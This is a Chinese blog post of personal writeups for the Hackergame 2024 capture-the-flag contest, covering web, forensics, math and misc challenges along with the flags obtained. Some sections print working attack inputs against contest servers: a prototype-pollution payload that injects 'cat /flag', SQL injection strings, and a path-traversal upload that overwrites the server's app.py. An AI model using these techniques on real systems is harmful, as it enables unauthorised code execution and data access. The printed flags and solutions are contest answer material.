Blog

Hackergame 2024 Writeups

2024-11-09

#Hackergame

苟……苟住了

签到

http://202.38.93.141:12024/?pass=true

喜欢做签到的 CTFer 你们好呀

经典之 base64 藏信息,在 https://www.nebuu.la/_next/static/chunks/pages/index-5c589ff418560b46.js 搜到两个 atob

怎么知道的?习惯罢了

console.log(atob("RkxBRz1mbGFne2FjdHVhbGx5X3RoZXJlc19hbm90aGVyX2ZsYWdfaGVyZV90cllfdG9fZjFuRF8xdF95MHVyc2VsZl9fX2pvaW5fdXNfdXN0Y19uZWJ1bGF9"))
console.log(atob("ZmxhZ3swa18xNzVfYV9oMWRkM25fczNjM3J0X2YxNGdfX19wbGVhc2Vfam9pbl91c191c3RjX25lYnVsYV9hbkRfdHdvX21hSm9yX3JlcXVpcmVtZW50c19hUmVfc2hvd25fc29tZXdoZXJlX2Vsc2V9"))

猫咪问答(Hackergame 十周年纪念版)

打不开的盒

Windows自带,拉近一下,就是没上色眼睛看得难受

flag{Dr4W_Us!nG_fR3E_C4D!!w0W}

每日论文太多了!

把遮罩移开,就有了

我在这儿

我在这儿

比大小王

let i = 0
function Update() {
    state.values[i][0] > state.values[i][1] ? state.inputs.push('>') : state.inputs.push('<')
    i++
    if (i < state.values.length) {
        Update()
    } else {
        state.score1 = 100
        submit(state.inputs)
    }
}
Update()

旅行照片 4.0

第一部分

FLAG 为 flag{5UB5CR1B3_T0_L30_CH4N_0N_B1L1B1L1_PLZ_09d0449c7e}

第二部分

  • 垃圾桶看到六安园林,对着地图上能看到的公园乱猜,猜到第二个就出了
  • Google lens乱搜,碰运气搜到的,三峡,坛子岭
    坛子岭

    坛子岭

FLAG 为 flag{D3T41LS_M4TT3R_1F_R3V3RS3_S34RCH_1S_1MP0SS1BL3_f7acc4adb1}

第三部分

FLAG 为 flag{1_C4NT_C0NT1NU3_TH3_5T0RY_4NYM0R3_50M30N3_PLZ_H3LP_2605a0c852}

Node.js is Web Scale

原型链污染 https://ctf.zeyu2001.com/2022/balsnctf-2022/2linenodejs

{"key":"__proto__.flag","value":"cat /flag"}

然后访问 /execute?cmd=flag

PaoluGPT

千里挑一

还能咋办,全部访问一遍咯。。。最后找到 conversation_id=6605cc89-27eb-4cc8-b8b8-fb51589fadf7

let a = [...document.getElementsByTagName('a')].filter(x => x.href.startsWith('https://xxx.hack-challenge.lug.ustc.edu.cn:8443/view'))
for (const x of a) {
    fetch(x.href)
}

做完第二问才想起可以注入

new URLSearchParams({conversation_id: "' OR contents LIKE '%flag%';--"}).toString()

窥视未知

SQL 注入

new URLSearchParams({conversation_id: "' OR shown=false;--"}).toString()

强大的正则表达式

正则Easy

找到 整除规则,提到

末四位能被16整除。

x = []
for (let i =1; i <=16*1000;i++){
    if (16*i < 10000) {
        x.push(16*i)
    }else {break}
}
y=x.map(xx => xx.toString().padStart(4, '0'))
console.log('(0|1|2|3|4|5|6|7|8|9)*(' + y.join('|') + ')')

惜字如金 3.0

题目 A

都是关键字补全,补全了就好了

优雅的不等式

4*((1-x**2)**(1/2)) 在区间 [0, 1] 的定积分就是 pi,所以只要管 pi 以外的部分即可

不等式Easy

4*((1-x**2)**(1/2)+x**2-1)

无法获得的秘密

看到这题我马上就想到 Qrs,但原版是基于 nuxt 的,打包以后单是 vue 生态的部分就上百KB了,无奈暂时搁置

后面还发现 novnc 自带的剪贴板无效,只能找其他办法粘贴,在 Hostloc/936147 找到了个 AutoHotkey 的脚本

SplashTextOn, 220, ,Ctrl+Alt+v
Sleep 2000
SplashTextOff

; MsgBox The backup process has completed.

^!v::Send %clipboard%

粗略估算了一下,这样直接粘贴的速度大约是 62字符/秒

所以还是要想办法砍掉全部 vue 生态相关的 js,css 也是不必要的,全部删掉,vnc 只管展示二维码就好了,那扫码的部分也砍了;debug?不需要,砍了

经过一番粗略的处理后得到一个压缩后只有 20.5 KB (21,064 bytes),base64url处理后只有 27.4 KB (28,088 bytes) 的压缩包,使用 base64url 是因为部分符号会被转义,不过我没有删掉文本最后的 =,因为 debian 自带的 base64 包不能自动处理缺少末尾 = 的文本

tar -caf q.tar.xz q
base64 q.tar.xz | tr '+/' '-_' | tr -d '\n' > q.tar.xz.b64

按下 Ctrl+Alt+v,等9~10分钟后就能粘贴完成了,然后将它恢复成压缩包,碰巧系统自带 python3,那就起一个 http 服务器

sed 's%-%+%g; s%_%\/%g' q.tar.xz.b64 | base64 --decode > x.tar.xz # 这里的 '+' 在用脚本拷贝时会被转义丢失,需要自己补回去
tar -xaf x.tar.xz
python3 -m http.server 8000

用自带的 firefox 打开网页,选择secret文件,自己准备的手机/平板打开 Qrs 慢慢扫描……15分钟自动断开的机制可能会导致一次的连接时长不够用,那就再粘贴一遍再扫一遍,我也折腾了两回才拿到文件

对,就这么扫

对,就这么扫

手机视角

手机视角

惊人的 0.61 Kbps

惊人的 0.61 Kbps

  • vnc设备的内存或者别的性能太低,网页总会崩,崩了刷新再打开文件就好了,一次性玩意也没有优化修 bug 的价值
  • 我漏了限制宽度,所以截图里面可以看到我把开发者控制台打开占位置……
  • 我还考虑过将 python 的二维码库塞进去转换成多个二维码,然后录屏,最后还是回到了魔改 Qrs 的路上

*Docker for Everyone Plus

这题的乐子不在于题目本身,而在于找到一个能在 Windows 下连接题目后还正常使用 rz 的终端,我暂时没能找到一个能用的终端

  • 自带的网页终端
  • Windows Terminal
  • PuTTY
  • MobaXterm
  • Ubuntu终端
  • Xshell 7 <- 这个终于是弹出文件选框了,但要不直接崩掉要不没有速度
  • SecureCRT <- 可以选文件,不会崩,但也不会上传

至于拿 flag 的思路大概就是传个打包好的镜像上去加载,后面就不知道了,连上传都没做到后面也没得想

ZFS 文件恢复

*Text File

找了个有导出文件演示的文章看了半天,没研究出来,感觉压缩过了

Shell Script

用 winhex 打开 镜像,搜 flag1,能找到一个shell脚本,很显然这就是 flag2.sh

或者 zdb -R hg2024 0:20800:200:r

#!/bin/sh
flag_key="hg2024_$(stat -c %X.%Y flag1.txt)_$(stat -c %X.%Y "$0")_zfs"
echo "46c518b175651d440771836987a4e7404f84b20a43cc18993ffba7a37106f508  -" > /tmp/sha256sum.txt
printf "%s" "$flag_key" | sha256sum --check /tmp/sha256sum.txt || exit 1
printf "flag{snapshot_%s}\n" "$(printf "%s" "$flag_key" | sha1sum | head -c 32)"

根据题面教程在 linux 挂载镜像,输入 zdb -ddddd hg2024 得到一大串东西,通过 flag2.sh 的大小(331)反向找到对应 Object,乱猜一个 ZFS plain file 关键词去搜找到 flag1.txt 的Object

这里我删掉了不必要的部分
    Object  lvl   iblk   dblk  dsize  dnsize  lsize   %full  type
         2    2   128K     4K  3.50K     512     8K  100.00  ZFS plain file

    atime   Thu Mar  9 23:56:50 2006
    mtime   Sun May 29 03:19:29 1977
    ctime   Wed Oct 23 21:37:22 2024
    crtime  Wed Oct 23 21:37:22 2024
    Object  lvl   iblk   dblk  dsize  dnsize  lsize   %full  type
         3    1   128K    512    512     512    512  100.00  ZFS plain file
                                               176   bonus  System attributes
    atime   Mon Nov 10 04:49:03 2036
    mtime   Sat Jan 12 01:18:00 2013
    ctime   Wed Oct 23 21:37:22 2024
    crtime  Wed Oct 23 21:37:22 2024

现在时间都知道了,就可以改 flag_key 获取flag2 (好臭的时间戳)

#...
flag_key="hg2024_1141919810.233696969_2109876543.1357924680_zfs"
#...

链上转账助手

转账失败

什么都不用修改,照着 Dockerfile 把依赖装好编译字节码,然后粘贴即可

ps: 发现这题我完全理解错了,我以为是我要改已有的代码

不太分布式的软总线

What DBus Gonna Do?

gpt带飞

gdbus call --system --dest cn.edu.ustc.lug.hack.FlagService --object-path /cn/edu/ustc/lug/hack/FlagService --method cn.edu.ustc.lug.hack.FlagService.GetFlag1 "Please give me flag1"

If I Could Be A File Descriptor

我怎么知道的?给 GPT 乱猜的

#!/bin/bash
exec {fd}<<<"Please give me flag2"
gdbus call --system --dest cn.edu.ustc.lug.hack.FlagService --object-path /cn/edu/ustc/lug/hack/FlagService --method cn.edu.ustc.lug.hack.FlagService.GetFlag2 ${fd}

*动画分享

找到了 zutty 任意执行漏洞的 POC,但不知道怎么用

关灯

费了老大劲从平面 3x3 开始引导 GPT 写的,聊天记录

通杀前三个难度

import numpy as np

# 构建影响矩阵
def build_matrix_3d(size):
    n = size * size * size
    A = np.zeros((n, n), dtype=int)

    # 三维坐标 (i, j, k)
    for x in range(size):
        for y in range(size):
            for z in range(size):
                idx = x * size * size + y * size + z  # 当前格子的索引
                A[idx, idx] = 1  # 自己
                # 前、后、左、右、上、下的影响
                if x > 0:  # 前
                    A[idx, (x - 1) * size * size + y * size + z] = 1
                if x < size - 1:  # 后
                    A[idx, (x + 1) * size * size + y * size + z] = 1
                if y > 0:  # 左
                    A[idx, x * size * size + (y - 1) * size + z] = 1
                if y < size - 1:  # 右
                    A[idx, x * size * size + (y + 1) * size + z] = 1
                if z > 0:  # 上
                    A[idx, x * size * size + y * size + (z - 1)] = 1
                if z < size - 1:  # 下
                    A[idx, x * size * size + y * size + (z + 1)] = 1
    return A

# 高斯消元法在模2的情况下求解方程组
def gauss_jordan(A, b):
    A = A.copy()
    b = b.copy()
    n = len(b)
    for i in range(n):
        # 找到主元
        if A[i, i] == 0:
            for j in range(i + 1, n):
                if A[j, i] == 1:
                    # 交换行
                    A[[i, j]] = A[[j, i]]
                    b[[i, j]] = b[[j, i]]
                    break
        # 归一化
        if A[i, i] == 1:
            for j in range(i + 1, n):
                if A[j, i] == 1:
                    A[j] ^= A[i]
                    b[j] ^= b[i]

    # 回代过程
    x = np.zeros(n, dtype=int)
    for i in range(n - 1, -1, -1):
        if A[i, i] == 1:
            x[i] = b[i]
            for j in range(i):
                b[j] ^= A[j, i] * x[i]
    return x

# 示例: 3x3x3 的关灯游戏
size = 3  # 可以根据需要调整大小
target_state = np.array([1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0]) # 浏览器 JSON.stringify('01010101'.split('').map(x => Number(x))) , 然后贴上来

# 构建影响矩阵 A
A = build_matrix_3d(size)

# 求解 Ax = b
solution = gauss_jordan(A, target_state)

# 输出点击组合
click_positions = solution.reshape((size, size, size))
print("点击组合为:")
print(click_positions)
result_str = "".join(map(str, click_positions.flatten()))

print(result_str)

禁止内卷

根据给出的源码可以看到没有检验上传文件名

file = request.files['file']
filename = file.filename
filepath = os.path.join(UPLOAD_DIR, filename)
file.save(filepath)

那就到了经典的 ../ 逃逸大法了,又因为传脚本上去覆盖会自动重启,那就把 / 给改了

@app.route("/", methods=["GET"])
def index():
    with open("answers.json") as f:
        return json.dumps(json.load(f))

然后提交

import requests

# 要上传的文件路径
file_path = "app.py"

# 创建 multipart form 数据
with open(file_path, 'rb') as f:
    files = {'file': ('../web/app.py', f)}
    
    # 发送 POST 请求
    response = requests.post("https://xxxxx.hack-challenge.lug.ustc.edu.cn:8443/submit", files=files)

# 输出服务器响应
print(response.text)

可以得到个 json,根据题目要求处理一下

a=[...]// from response
console.log(a.map(x => String.fromCharCode(x + 65)).join(''))

// 'flag{uno!!!!_esrever_now_U_run_MY_c0de1ac1c2c48f}...'// 后面还有一大串

零知识数独

数独高手

数独真不会,还好有外挂 https://sudoku.com/zh/sudoku-solver

ZK 高手

随便找的 snarkjs 速成

根据电路得到输入文件 input.json

{
    "unsolved_grid":[
        [0,0,7,3,4,0,0,0,0],
        [9,6,2,0,0,0,0,0,0],
        [0,0,3,5,0,0,0,0,0],
        [1,0,0,0,0,0,0,0,3],
        [0,0,0,8,0,1,4,0,0],
        [0,9,0,0,0,0,7,0,0],
        [0,0,0,0,6,0,0,0,0],
        [0,0,0,0,0,3,0,2,6],
        [7,0,0,0,2,0,0,9,0]
    ],
    "solved_grid":[
        [8,5,7,3,4,6,9,1,2],
        [9,6,2,1,8,7,5,3,4],
        [4,1,3,5,9,2,6,7,8],
        [1,7,4,6,5,9,2,8,3],
        [3,2,5,8,7,1,4,6,9],
        [6,9,8,2,3,4,7,5,1],
        [2,8,1,9,6,5,3,4,7],
        [5,4,9,7,1,3,8,2,6],
        [7,3,6,4,2,8,1,9,5]
    ]
}
snarkjs wtns calculate sudoku.wasm input.json witness.wtns
snarkjs groth16 prove sudoku.zkey witness.wtns proof.json public.json
snarkjs groth16 verify verification_key.json public.json proof.json
# [INFO]  snarkJS: OK!

然后上传 proof.json

结束

当前分数:4000, 总排名:95 / 2460
AI:0 , binary:0 , general:1900 , math:1000 , web:1100

苟住了前 100

这几年越发感觉到跟科班的差距:

  • 别人:课上学过的在这里遇到太棒了
  • 我:这是啥玩意怎么搜不到,这又是啥玩意见都没见过……虽然这两年有了 GPT,但问问题和确认 GPT 有没有胡说八道还是要有一定基础的

评论区